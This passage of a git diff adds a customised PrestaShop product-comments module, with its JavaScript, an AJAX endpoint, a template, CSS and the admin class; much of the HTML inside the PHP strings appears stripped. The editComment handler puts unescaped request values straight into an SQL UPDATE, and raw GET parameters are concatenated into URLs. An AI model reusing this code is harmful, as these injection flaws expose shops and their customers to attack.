$('#new_comment_form form').serialize(), + type: 'POST', + headers: { "cache-control": "no-cache" }, + dataType: "json", + success: function(data){ + if (data.result) + { + alert(data.result); + // $.fancybox.close(); + // document.location.href = document.location.href; + } + else + { + $('#new_comment_form_error ul').html(''); + $.each(data.errors, function(index, value) { + $('#new_comment_form_error ul').append('
      • '+value+'
      • '); + }); + $('#new_comment_form_error').slideDown('slow'); + } + } + }); + return false; + }); +}); diff --git a/modules/productcomments/js/products-comparison.js b/modules/productcomments/js/products-comparison.js new file mode 100755 index 0000000..65d2018 --- /dev/null +++ b/modules/productcomments/js/products-comparison.js @@ -0,0 +1,45 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +$(function () { + $('a.cluetip') + .cluetip({ + local:true, + cursor: 'pointer', + cluetipClass: 'comparison_comments', + dropShadow: false, + dropShadowSteps: 0, + showTitle: false, + tracking: true, + sticky: false, + mouseOutClose: true, + width: 450, + fx: { + open: 'fadeIn', + openSpeed: 'fast' + } + }) + .css('opacity', 0.8); +}); diff --git a/modules/productcomments/logo.gif b/modules/productcomments/logo.gif new file mode 100755 index 0000000..39433cf Binary files /dev/null and b/modules/productcomments/logo.gif differ diff --git a/modules/productcomments/logo.png b/modules/productcomments/logo.png new file mode 100755 index 0000000..61ae64b Binary files /dev/null and b/modules/productcomments/logo.png differ diff --git a/modules/productcomments/productcomments-ajax.php b/modules/productcomments/productcomments-ajax.php new file mode 100755 index 0000000..7ac354c --- /dev/null +++ b/modules/productcomments/productcomments-ajax.php @@ -0,0 +1,153 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +// The usage of this file is deprecated !!! +require_once(dirname(__FILE__).'/../../config/config.inc.php'); +require_once(dirname(__FILE__).'/../../init.php'); +require_once(dirname(__FILE__).'/ProductCommentCriterion.php'); +include_once(dirname(__FILE__).'/ProductComment.php'); +include_once(dirname(__FILE__).'/productcomments.php'); + +$productCom = new productcomments(); + +if (Tools::getValue('action') && Tools::getValue('id_product_comment') && Context::getContext()->cookie->id_customer) +{ + if (Tools::getValue('action') == 'report') + { + if (!ProductComment::isAlreadyReport(Tools::getValue('id_product_comment'), Context::getContext()->cookie->id_customer) && + ProductComment::reportComment((int)Tools::getValue('id_product_comment'), (int)Context::getContext()->cookie->id_customer)) + die('0'); + } + else if (Tools::getValue('action') == 'usefulness' && Tools::getValue('value') && Tools::getValue('value')) + { + if (!ProductComment::isAlreadyUsefulness(Tools::getValue('id_product_comment'), Context::getContext()->cookie->id_customer) && + ProductComment::setCommentUsefulness((int)Tools::getValue('id_product_comment'), + (bool)Tools::getValue('value'), + Context::getContext()->cookie->id_customer)) + die('0'); + } +} +else if (Tools::getValue('action') && Tools::getValue('secure_key') == $productCom->secure_key) +{ + $review = Tools::jsonDecode(Tools::getValue('review')); + $id_product = 0; + $content = null; + $title = null; + $name = null; + $grades = array(); + foreach ($review as $entry) + { + if ($entry->key == 'id_product') + $id_product = $entry->value; + else if ($entry->key == 'title') + $title = $entry->value; + else if ($entry->key == 'content') + $content = $entry->value; + else if ($entry->key == 'customer_name') + $name = $entry->value; + else if ($entry->key == 'customer_type_de_peau') + $customer_type_de_peau = $entry->value; + else if ($entry->key == 'customer_age') + $customer_age = $entry->value; + else if ($entry->key == 'customer_civilite') + $customer_civilite = $entry->value; + else if ($entry->key == 'customer_surname') + $customer_surname = $entry->value; + else if (strstr($entry->key, 'grade')) + { + $id = array(explode('_', $entry->key)); + $grades[] = array('id' => $id['0']['0'], 'grade' => $entry->value); + } + } + + if ($title == '' || $content == '' || !$id_product || count($grades) == 0) + die('0'); + + $allow_guests = (int)Configuration::get('PRODUCT_COMMENTS_ALLOW_GUESTS'); + + if (Context::getContext()->customer->id || (!Context::getContext()->customer->id && $allow_guests)) + { + $id_guest = (!$id_customer = (int)Context::getContext()->cookie->id_customer) ? (int)Context::getContext()->cookie->id_guest : false; + $customerComment = ProductComment::getByCustomer((int)($id_product), Context::getContext()->cookie->id_customer, true, (int)$id_guest); + + if (!$customerComment || ($customerComment && (strtotime($customerComment['date_add']) + Configuration::get('PRODUCT_COMMENTS_MINIMAL_TIME')) < time())) + { + $errors = array(); + $customer_name = false; + + if ($id_guest && (!$customer_name = Context::getContext()->customer->firstname.' '.Context::getContext()->customer->lastname)) + $errors[] = $productCom->l('Please fill your name'); + + if (!count($errors) && $content) + { + $comment = new ProductComment(); + $comment->content = strip_tags($content); + $comment->id_product = (int)$id_product; + $comment->id_customer = (int)Context::getContext()->cookie->id_customer; + $comment->id_guest = (int)$id_guest; + // $comment->customer_name = pSQL($customer_name); + // if (!$comment->id_customer) + + $comment->customer_name = pSQL($name); + $comment->customer_type_de_peau = pSQL($customer_type_de_peau); + $comment->customer_age = pSQL($customer_age); + $comment->customer_civilite = pSQL($customer_civilite); + $comment->customer_surname = pSQL($customer_surname); + + $comment->title = pSQL($title); + $comment->grade = 0; + $comment->validate = 0; + + + $tgrade = 0; + $comment->save(); + foreach ($grades as $grade) + { + $tgrade += $grade['grade']; + $productCommentCriterion = new ProductCommentCriterion((int)Tools::getValue('id_product_comment_criterion_'.$grade['id'])); + if ($productCommentCriterion->id) + $productCommentCriterion->addGrade($comment->id, $grade['grade']); + } + + if ((count($grades) - 1) >= 0) + $comment->grade = (int)($tgrade / ((int)count($grades))); + + if (!$comment->save()) + $errors[] = $productCom->l('An error occurred while saving your comment.'); + else + Context::getContext()->smarty->assign('confirmation', $productCom->l('Comment posted.').((int)(Configuration::get('PRODUCT_COMMENTS_MODERATE')) ? ' '.$productCom->l('Awaiting moderator validation.') : '')); + + } + else + $errors[] = $productCom->l('Comment text is required.'); + } + else + $errors[] = sprintf($productCom->l('You should wait %d seconds before posting a new comment.'), Configuration::get('PRODUCT_COMMENTS_MINIMAL_TIME')); + } +} + +die('1'); + diff --git a/modules/productcomments/productcomments-extra.tpl b/modules/productcomments/productcomments-extra.tpl new file mode 100755 index 0000000..930a806 --- /dev/null +++ b/modules/productcomments/productcomments-extra.tpl @@ -0,0 +1,63 @@ + {* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        + {if $nbComments != 0} +
        + {l s='Average grade' mod='productcomments'}  +
        + {section name="i" start=0 loop=5 step=1} + {if $averageTotal le $smarty.section.i.index} +
        + {else} +
        + {/if} + {/section} +
        +
        + {/if} + +
        + {if $nbComments != 0} + {l s='Read user reviews' mod='productcomments'} ({$nbComments})
        + {/if} + {if ($too_early == false AND ($logged OR $allow_guests))} + {l s='Write your review' mod='productcomments'} + {/if} +
        +
        + diff --git a/modules/productcomments/productcomments.css b/modules/productcomments/productcomments.css new file mode 100755 index 0000000..51dca69 --- /dev/null +++ b/modules/productcomments/productcomments.css @@ -0,0 +1,224 @@ +#product_comments_block_extra { + padding:10px 0 0 0; + border-top:1px solid #ccc; + font-weight: bold; + font-size:12px; + line-height:18px +} + +#product_comments_block_extra a { + padding-left: 10px; + text-decoration: none; + background: url(img/bg_li.png) no-repeat scroll 1px 45% #fff; + +} + +#product_comments_block_extra a:hover {text-decoration: underline} + +#product_comments_block_extra .comments_note {margin-bottom:5px} +#product_comments_block_extra .comments_note span, +#product_comments_block_extra .star_content {float:left} +#product_comments_block_extra .star_content {margin-top:2px} + +#product_comments_block_extra div.star {background: url(img/star.gif) no-repeat scroll 0 0 transparent} + +#product_comments_block_extra div.star_on {background: url(img/star.gif) no-repeat scroll 0 -12px transparent} + +#product_comments_block_extra .comments_advices {clear:both;} + +/* pop-in add grade/advice ********************************************************************* */ +#fancybox-wrap { width:585px } +#fancybox-content { + width:585px; + border-width:0 +} + +#new_comment_form { + width:585px; + color: #333; + text-align: left; + background-color: #fff +} +#new_comment_form .title { + padding:10px; + font-size: 13px; + color: #fff; + text-transform: uppercase; + background: #333 +} +#new_comment_form ul.grade_content {list-style-type:none} +#new_comment_form .grade_content li {width:50%} +#new_comment_form .product {padding:15px} +#new_comment_form .product img { + float:left; + border: 1px solid #ccc; +} +#new_comment_form .product .product_desc { + float:left; + margin-left:15px; + width:300px; + line-height:18px; + color:#666 +} +#new_comment_form .product .product_desc .product_name { + padding-bottom:5px; + font-size:13px; + color:#000 +} + +#new_comment_form .grade_content {margin:0 0 20px 0} +#new_comment_form .grade_content span, +#new_comment_form .grade_content span { + display:inline-block; + padding:0 10px; + width:150px;/* 160 */ + font-weight:bold +} +#new_comment_form .grade_content .cancel {margin-right:5px} + +.new_comment_form_content { + padding:15px; + background:#f8f8f8 +} +.new_comment_form_content .intro_form { + padding-bottom: 10px; + font-weight: bold; + font-size: 12px +} + +#new_comment_form label { + display: block; + margin:12px 0 4px 0; + font-weight: bold; + font-size: 12px; +} +#new_comment_form input { + padding: 0 5px; + height: 28px; + width: 540px; + border: 1px solid #ccc; + background: #fff; +} +#new_comment_form textarea { + padding: 0 5px; + height: 80px; + width: 540px; + border: 1px solid #ccc; + background: #fff; +} + +#new_comment_form .submit { + margin-top:20px; + padding:0; + font-size:13px; + text-align:right +} +#new_comment_form button { + cursor: pointer; + cursor: pointer; + display: inline-block; + padding: 4px 7px 3px 7px; + border: 1px solid #CC9900; + border-radius: 3px 3px 3px 3px; + font-weight: bold; + color: #000; + background: url(img/bg_bt.gif) repeat-x scroll 0 0 #F4B61B +} + +#new_comment_form #criterions_list { + border-bottom: 1px solid #CCC; + padding-bottom: 15px; + list-style-type: none; +} + +#new_comment_form #criterions_list li { + margin-bottom: 10px; +} + +#new_comment_form #criterions_list label { + display: inline; + float: left; + margin: 0 0 0 60px; +} + +#new_comment_form #criterions_list .star_content { + float: right; + margin-right: 180px; +} + +#new_comment_form #new_comment_form_footer { + margin-top: 20px; + font-size: 12px; +} + +/* TAB COMMENTS ******************************************************************************** */ +#product_comments_block_tab {margin:0 0 20px 0} + +#product_comments_block_tab div.comment { + margin:0 0 10px 0; + padding: 5px; + border-bottom: 1px dotted #ccc +} + +#product_comments_block_tab div.comment div.comment_author { + float: left; + padding-right:25px; + width: 140px;/* 165 */ + line-height:18px +} +#product_comments_block_tab div.comment div.comment_author span {font-weight:bold;} +#product_comments_block_tab div.comment div.comment_author span, +#product_comments_block_tab div.comment .star_content { + float:left; +} +#product_comments_block_tab div.comment .star_content {margin: 0 0 0 5px} +#product_comments_block_tab div.star, +#product_comments_block_tab div.star_on { + background: url(img/star.gif) no-repeat 0 0 transparent +} +#product_comments_block_tab div.star_on {background-position: 0 -12px} +#product_comments_block_tab .comment_author_infos {clear:both} +#product_comments_block_tab .comment_author_infos em {color:#999} + +#product_comments_block_tab div.comment div.comment_details { + float: left; + overflow:hidden; + width: 360px +} +#product_comments_block_tab div.comment_details .title_block, #product_comments_block_tab div.comment_details h4 {padding-bottom:10px} +#product_comments_block_tab div.comment_details p {padding-bottom:10px} +#product_comments_block_tab div.comment_details ul { + list-style-type:none; + margin:0 +} +#product_comments_block_tab div.comment_details li { + padding:2px 0 2px 12px; + background:url(img/bg_li.png) no-repeat 1px 45% #fff +} + +#product_comments_block_tab a { + text-decoration: none; + font-weight: bold +} + +#product_comments_block_tab a:hover {text-decoration: underline} + +#product_comments_block_tab button.usefulness_btn { + cursor: pointer; + margin:0 0 0 5px; + display: inline-block; + padding: 0 2px; + border: 1px solid #CC9900; + border-radius: 3px 3px 3px 3px; + color: #000; + font-weight: bold; + background: url("img/bg_bt.gif") repeat-x scroll 0 0 #F4B61B +} +#product_comments_block_tab button.usefulness_btn:hover {background-position: left -50px} +#product_comments_block_tab button.usefulness_btn:active {background-position: left -100px} + +#product_comments_block_tab span.report_btn {cursor: pointer} +#product_comments_block_tab span.report_btn:hover {text-decoration:underline} + +.fl { float: left; } +.fr { float: right; } diff --git a/modules/productcomments/productcomments.php b/modules/productcomments/productcomments.php new file mode 100644 index 0000000..71a9713 --- /dev/null +++ b/modules/productcomments/productcomments.php @@ -0,0 +1,930 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class ProductComments extends Module +{ + //die; + const INSTALL_SQL_FILE = 'install.sql'; + + private $_html = ''; + private $_postErrors = array(); + + private $_productCommentsCriterionTypes = array(); + private $_baseUrl; + + public function __construct() + { + $this->name = 'productcomments'; + $this->tab = 'front_office_features'; + $this->version = '2.3'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + $this->secure_key = Tools::encrypt($this->name); + + parent::__construct(); + + $this->displayName = $this->l('Product Comments'); + $this->description = $this->l('Allows users to post reviews.'); + } + + public function install() + { + if (!file_exists(dirname(__FILE__).'/'.self::INSTALL_SQL_FILE)) + return false; + else if (!$sql = file_get_contents(dirname(__FILE__).'/'.self::INSTALL_SQL_FILE)) + return false; + $sql = str_replace(array('PREFIX_', 'ENGINE_TYPE'), array(_DB_PREFIX_, _MYSQL_ENGINE_), $sql); + $sql = preg_split("/;\s*[\r\n]+/", trim($sql)); + + foreach ($sql as $query) + if (!Db::getInstance()->execute(trim($query))) + return false; + if (parent::install() == false || + !$this->registerHook('productTab') || + !$this->registerHook('extraProductComparison') || + !$this->registerHook('productTabContent') || + !$this->registerHook('header') || + !$this->registerHook('productOutOfStock') || + !Configuration::updateValue('PRODUCT_COMMENTS_MINIMAL_TIME', 30) || + !Configuration::updateValue('PRODUCT_COMMENTS_ALLOW_GUESTS', 0) || + !Configuration::updateValue('PRODUCT_COMMENTS_MODERATE', 1)) + return false; + return true; + } + + public function uninstall() + { + if (!parent::uninstall() || !$this->deleteTables() || + !Configuration::deleteByName('PRODUCT_COMMENTS_MODERATE') || + !Configuration::deleteByName('PRODUCT_COMMENTS_ALLOW_GUESTS') || + !Configuration::deleteByName('PRODUCT_COMMENTS_MINIMAL_TIME') || + !$this->unregisterHook('extraProductComparison') || + !$this->unregisterHook('productOutOfStock') || + !$this->unregisterHook('productTabContent') || + !$this->unregisterHook('header') || + !$this->unregisterHook('productTab')) + return false; + return true; + } + + public function displayAjax() + { + var_dump('test');die; + } + + public function deleteTables() + { + return Db::getInstance()->execute(' + DROP TABLE IF EXISTS + `'._DB_PREFIX_.'product_comment`, + `'._DB_PREFIX_.'product_comment_criterion`, + `'._DB_PREFIX_.'product_comment_criterion_product`, + `'._DB_PREFIX_.'product_comment_criterion_lang`, + `'._DB_PREFIX_.'product_comment_criterion_category`, + `'._DB_PREFIX_.'product_comment_grade`, + `'._DB_PREFIX_.'product_comment_usefulness`, + `'._DB_PREFIX_.'product_comment_report`'); + } + + protected function _postProcess() + { + if (Tools::isSubmit('editComment')) { + $title = Tools::getValue('title_edit'); + $content = Tools::getValue('content_edit'); + $id = Tools::getValue('id_comment_edit'); + $sql = 'UPDATE `'._DB_PREFIX_.'product_comment` pc + SET pc.`content` = "'.$content.'", + pc.`title` = "'.$title.'" + WHERE pc.`id_product_comment` = '.(int)$id; + Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + if (Tools::isSubmit('submitModerate')) + { + Configuration::updateValue('PRODUCT_COMMENTS_MODERATE', (int)Tools::getValue('moderate')); + Configuration::updateValue('PRODUCT_COMMENTS_ALLOW_GUESTS', (int)Tools::getValue('allow_guest')); + Configuration::updateValue('PRODUCT_COMMENTS_MINIMAL_TIME', (int)Tools::getValue('product_comments_minimal_time')); + $this->_html .= '
        '.$this->l('Settings updated').'
        '; + } + if ($id_criterion = (int)Tools::getValue('deleteCriterion')) + { + $productCommentCriterion = new ProductCommentCriterion((int)$id_criterion); + if ($productCommentCriterion->id) + if ($productCommentCriterion->delete()) + $this->_html .= '
        '.$this->l('Criterion deleted').'
        '; + } + } + + public function getContent() + { + include_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + + $this->_setBaseUrl(); + $this->_productCommentsCriterionTypes = ProductCommentCriterion::getTypes(); + $this->_html = '

        '.$this->displayName.'

        '; + $this->_postProcess(); + $this->_checkModerateComment(); + $this->_checkReportedComment(); + $this->_checkCriterion(); + $this->_updateApplicationCriterion(); + $this->_checkDeleteComment(); + + return $this->_displayForm(); + } + + private function _setBaseUrl() + { + $this->_baseUrl = 'index.php?'; + foreach ($_GET as $k => $value) + if (!in_array($k, array('deleteCriterion', 'editCriterion'))) + $this->_baseUrl .= $k.'='.$value.'&'; + $this->_baseUrl = rtrim($this->_baseUrl, '&'); + } + + private function _checkModerateComment() + { + $action = Tools::getValue('action'); + if (empty($action) === false && (int)Configuration::get('PRODUCT_COMMENTS_MODERATE')) + { + $product_comments = Tools::getValue('id_product_comment'); + + if (count($product_comments)) + { + require_once(dirname(__FILE__).'/ProductComment.php'); + switch ($action) + { + case 'accept': + foreach ($product_comments as $id_product_comment) + { + if (!$id_product_comment) + continue; + $comment = new ProductComment((int)$id_product_comment); + $comment->validate(); + } + break; + + case 'history': + foreach ($product_comments as $id_product_comment) + { + if (!$id_product_comment) + continue; + $comment = new ProductComment((int)$id_product_comment); + // var_dump('case', $comment->history());die; + $comment->history((int)$id_product_comment); + } + break; + + case 'retrieve': + foreach ($product_comments as $id_product_comment) + { + if (!$id_product_comment) + continue; + $comment = new ProductComment((int)$id_product_comment); + // var_dump('case', $comment->history());die; + $comment->retrieve((int)$id_product_comment); + } + break; + + case 'delete': + foreach ($product_comments as $id_product_comment) + { + if (!$id_product_comment) + continue; + $comment = new ProductComment((int)$id_product_comment); + $comment->delete(); + ProductComment::deleteGrades((int)$id_product_comment); + } + break; + + default: + ; + } + } + } + } + + private function _checkReportedComment() + { + $action = Tools::getValue('action'); + if (empty($action) === false) + { + $product_comments = Tools::getValue('id_product_comment'); + + if (count($product_comments)) + { + require_once(dirname(__FILE__).'/ProductComment.php'); + switch ($action) + { + case 'accept': + foreach ($product_comments as $id_product_comment) + { + if (!$id_product_comment) + continue; + $comment = new ProductComment((int)$id_product_comment); + $comment->validate(); + ProductComment::deleteReports((int)$id_product_comment); + } + break; + case 'delete': + foreach ($product_comments as $id_product_comment) + { + if (!$id_product_comment) + continue; + $comment = new ProductComment((int)$id_product_comment); + $comment->delete(); + ProductComment::deleteGrades((int)$id_product_comment); + ProductComment::deleteReports((int)$id_product_comment); + ProductComment::deleteUsefulness((int)$id_product_comment); + } + break; + default: + ; + } + } + } + } + + private function _checkCriterion() + { + $action_criterion = Tools::getValue('criterion_action'); + $name = Tools::getValue('criterion'); + if (Tools::isSubmit('submitAddCriterion')) + { + require_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + $languages = Language::getLanguages(); + $id_criterion = (int)Tools::getValue('id_product_comment_criterion'); + $productCommentCriterion = new ProductCommentCriterion((int)$id_criterion); + foreach ($languages as $lang) + $productCommentCriterion->name[(int)$lang['id_lang']] = Tools::getValue('criterion_'.(int)$lang['id_lang']); + + // Check default language criterion name + $defaultLanguage = new Language((int)(Configuration::get('PS_LANG_DEFAULT'))); + if (!Tools::getValue('criterion_'.$defaultLanguage->id)) + { + $this->_html .= '
        '.$this->l('The field Name is required at least in').' '.$defaultLanguage->name.'
        '; + return; + } + + $productCommentCriterion->id_product_comment_criterion_type = (int)Tools::getValue('criterion_type'); + $productCommentCriterion->active = (int)Tools::getValue('criterion_active'); + + if ($productCommentCriterion->save()) + $this->_html .= '
        '.(Tools::getValue('editCriterion') ? $this->l('Criterion updated') : $this->l('Criterion added')).'
        '; + } + else if (!empty($action_criterion) && empty($name)) + { + $id_product_comment_criterion = Tools::getValue('id_product_comment_criterion'); + require_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + switch ($action_criterion) + { + case 'edit': + ProductCommentCriterion::update($id_product_comment_criterion, + Tools::getValue('criterion_id_lang'), + Tools::getValue('criterion_name')); + break; + case 'delete': + ProductCommentCriterion::delete($id_product_comment_criterion); + break; + default: + ; + } + } + } + + private function _updateApplicationCriterion() + { + if (Tools::isSubmit('submitApplicationCriterion')) + { + include_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + + $id_criterion = (int)Tools::getValue('id_criterion'); + $productCommentCriterion = new ProductCommentCriterion((int)$id_criterion); + if ($productCommentCriterion->id) + { + if ($productCommentCriterion->id_product_comment_criterion_type == 2) + { + $productCommentCriterion->deleteCategories(); + if ($categories = Tools::getValue('id_product')) + if (count($categories)) + foreach ($categories as $id_category) + $productCommentCriterion->addCategory((int)$id_category); + } + else if ($productCommentCriterion->id_product_comment_criterion_type == 3) + { + $productCommentCriterion->deleteProducts(); + if ($products = Tools::getValue('id_product')) + if (count($products)) + foreach ($products as $product) + $productCommentCriterion->addProduct((int)$product); + } + } + + $this->_html .= '
        '.$this->l('Settings updated').'
        '; + } + } + + private function _displayForm() + { + $this->_displayFormModerate(); + $this->_displayFormHistory(); + $this->_displayFormReported(); + $this->_displayFormConfigurationCriterion(); + $this->_displayFormApplicationCriterion(); + $this->_displayFormModify(); + // $this->_displayFormDelete(); + + return $this->_html; + } + + private function _displayFormModerate() + { + $this->_html = ' +
        + '.$this->l('Configuration').' +
        + +
        + + + + +
        +
        + +
        + + + + +
        +
        + +
        + '.$this->l('seconds').' +
        +
        +
        + +
        +
        +
        +
        +
        + '.$this->l('Moderate Comments').''; + if (Configuration::get('PRODUCT_COMMENTS_MODERATE')) + { + require_once(dirname(__FILE__).'/ProductComment.php'); + $comments = ProductComment::getByValidate(); + if (count($comments)) + { + $this->_html .= ' +
        + + +
        + + + + + + + + + + + + '; + foreach ($comments as $comment) + // var_dump($comment);die; + $this->_html .= ' + + + + + + + + '; + $this->_html .= ' + + + + + +
        '.$this->l('ID').''.$this->l('Titre').''.$this->l('Author').''.$this->l('Comment').''.$this->l('Product name').''.$this->l('Actions').'
        '.htmlspecialchars($comment['id_product_comment'], ENT_COMPAT, 'UTF-8').'.'.htmlspecialchars($comment['title'], ENT_COMPAT, 'UTF-8').'.'.htmlspecialchars($comment['customer_name'], ENT_COMPAT, 'UTF-8').'.'.htmlspecialchars($comment['content'], ENT_COMPAT, 'UTF-8').''.$comment['id_product'].' - '.htmlspecialchars($comment['name'], ENT_COMPAT, 'UTF-8').''.$this->l('Accept').' + '.$this->l('Delete').'
        '.$this->l('Selection:').''.$this->l('Accept').' + '.$this->l('Delete').'
        +
        '; + } + else + $this->_html .= $this->l('No comments to validate at this time.'); + } + $this->_html .= '

        '; + } + + private function _displayFormHistory() + { + $this->_html .= '
        +
        + '.$this->l('History').''; + if (Configuration::get('PRODUCT_COMMENTS_MODERATE')) + { + require_once(dirname(__FILE__).'/ProductComment.php'); + $comments_history = ProductComment::getHistory(); + if (count($comments_history)) + { + $this->_html .= ' +
        + + +
        + + + + + + + + + + + + '; + foreach ($comments_history as $comment) + $this->_html .= ' + + + + + + + '; + $this->_html .= ' + + + + +
        '.$this->l('ID').''.$this->l('Titre').''.$this->l('Author').''.$this->l('Comment').''.$this->l('Product name').''.$this->l('Actions').'
        '.htmlspecialchars($comment['id_product_comment'], ENT_COMPAT, 'UTF-8').'.'.htmlspecialchars($comment['title'], ENT_COMPAT, 'UTF-8').'.'.htmlspecialchars($comment['customer_name'], ENT_COMPAT, 'UTF-8').'.'.htmlspecialchars($comment['content'], ENT_COMPAT, 'UTF-8').''.$comment['id_product'].' - '.htmlspecialchars($comment['name'], ENT_COMPAT, 'UTF-8').''.$this->l('Accept').' + +
        '.$this->l('Selection:').''.$this->l('Accept').' + +
        +
        '; + } + else + $this->_html .= $this->l('No comments in the history'); + } + $this->_html .= '

        '; + } + + private function _displayFormReported() + { + $this->_html .= '
        + '.$this->l('Reported Comments').''; + + require_once(dirname(__FILE__).'/ProductComment.php'); + $comments = ProductComment::getReportedComments(); + if (count($comments)) + { + $this->_html .= ' +
        + + +
        + + + + + + + + + + '; + foreach ($comments as $comment) + $this->_html .= ' + + + + + + '; + $this->_html .= ' + + + + + +
        '.$this->l('Author').''.$this->l('Comment').''.$this->l('Product name').''.$this->l('Actions').'
        '.htmlspecialchars($comment['customer_name'], ENT_COMPAT, 'UTF-8').'.'.htmlspecialchars($comment['content'], ENT_COMPAT, 'UTF-8').''.$comment['id_product'].' - '.htmlspecialchars($comment['name'], ENT_COMPAT, 'UTF-8').''.$this->l('Accept').' + '.$this->l('Delete').'
        '.$this->l('Selection:').''.$this->l('Accept').' + '.$this->l('Delete').'
        +
        '; + } + else + $this->_html .= $this->l('No reported comments at this time.'); + $this->_html .= '

        '; + } + + private function _displayFormConfigurationCriterion() + { + $langs = Language::getLanguages(false); + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + + $id_criterion = (int)Tools::getValue('editCriterion'); + $criterion = new ProductCommentCriterion((int)$id_criterion); + $languageIds = 'criterion'; + $this->_html .= ' +
        + '.$this->l('Add a new comment criterion').' +

        '.$this->l('You can define several criterions to help your customers during their review. For instance: efficiency, lightness, design.').'
        +
        '.$this->l('You can add a new criterion below:').'

        +
        + +
        + '; + foreach ($langs as $lang) + $this->_html .= ' +
        + +
        '; + $this->_html .= $this->displayFlags($langs, (int)$id_lang_default, $languageIds, 'criterion', true); + $this->_html .= ' +
        +
         
        + +
        + +
        + +
        + active ? 'checked="checked" ' : '').'/> + + active ? 'checked="checked" ' : '').'/> + +
        +
        + +
        +
        '; + require_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + $criterions = ProductCommentCriterion::getCriterions($this->context->language->id); + if (count($criterions)) + { + $this->_html .= '
        + + + + + + + + + + '; + + foreach ($criterions as $criterion) + { + $this->_html .= ' + + + + '; + } + $this->_html .= '
        '.$this->l('Criterion').''.$this->l('Type').''.$this->l('Status').''.$this->l('Actions').'
        '.$criterion['name'].''.$this->_productCommentsCriterionTypes[(int)$criterion['id_product_comment_criterion_type']].''.$this->l('Edit').' + '.$this->l('Delete').'
        '; + } + $this->_html .= '

        '; + } + + private function _displayFormApplicationCriterion() + { + include_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + + $criterions = ProductCommentCriterion::getCriterions($this->context->language->id, false, true); + $id_criterion = (int)Tools::getValue('updateCriterion'); + + if ($id_criterion) + { + $criterion = new ProductCommentCriterion((int)$id_criterion); + if ($criterion->id_product_comment_criterion_type == 2) + { + $categories = Category::getSimpleCategories($this->context->language->id); + $criterion_categories = $criterion->getCategories(); + } + else if ($criterion->id_product_comment_criterion_type == 3) + { + $criterion_products = $criterion->getProducts(); + $products = Product::getSimpleProducts($this->context->language->id); + } + } + + foreach ($criterions as $key => $foo) + if ($foo['id_product_comment_criterion_type'] == 1) + unset($criterions[$key]); + + if (count($criterions)) + { + $this->_html .= ' +
        + '.$this->l('Manage criterions scope').' +

        '.$this->l('Only criterions restricted to categories or products can be configured below:').'

        +
        + +
        +"> + +
        +
        '; + + if ($id_criterion && $criterion->id_product_comment_criterion_type != 1) + { + $this->_html .=' +
        +
        + +
        + + + + + + + + '; + + if ($criterion->id_product_comment_criterion_type == 3) + foreach ($products as $product) + $this->_html .=' + '; + else if ($criterion->id_product_comment_criterion_type == 2) + foreach ($categories as $category) + $this->_html .=' + '; + $this->_html .=' +
        '.$this->l('ID').''.($criterion->id_product_comment_criterion_type == 3 ? $this->l('Product Name') : $this->l('Category Name')).'
        '.(int)$product['id_product'].''.$product['name'].'
        '.(int)$category['id_category'].''.$category['name'].'
        +
        +
        + +
        +
        '; + } + + $this->_html .= '
        '; + } + } + + private function _displayFormModify() + { + $this->_html .= ' +
        + '.$this->l('Edit a comment').' +

        '.$this->l('Enter the comment ID').'
        + + + + +

        +
        +

        '; + } + + private function _displayFormDelete() + { + $this->_html .= ' +
        + '.$this->l('Manage Comments').''; + + require_once(dirname(__FILE__).'/ProductComment.php'); + $comments = ProductComment::getAll(); + if (count($comments)) + { + $this->_html .= ' +
        + + +
        + + + + + + + + + '; + foreach ($comments as $comment) + $this->_html .= ' + + + + + '; + $this->_html .= ' + + + + + +
        '.$this->l('Author').''.$this->l('Comment').''.$this->l('Actions').'
        '.htmlspecialchars($comment['customer_name'], ENT_COMPAT, 'UTF-8').'.'.htmlspecialchars($comment['content'], ENT_COMPAT, 'UTF-8').''.$this->l('Delete').'
        '.$this->l('Selection:').''.$this->l('Delete').'
        +
        '; + } + else + $this->_html .= $this->l('No comments to manage at this time.'); + + $this->_html .= '

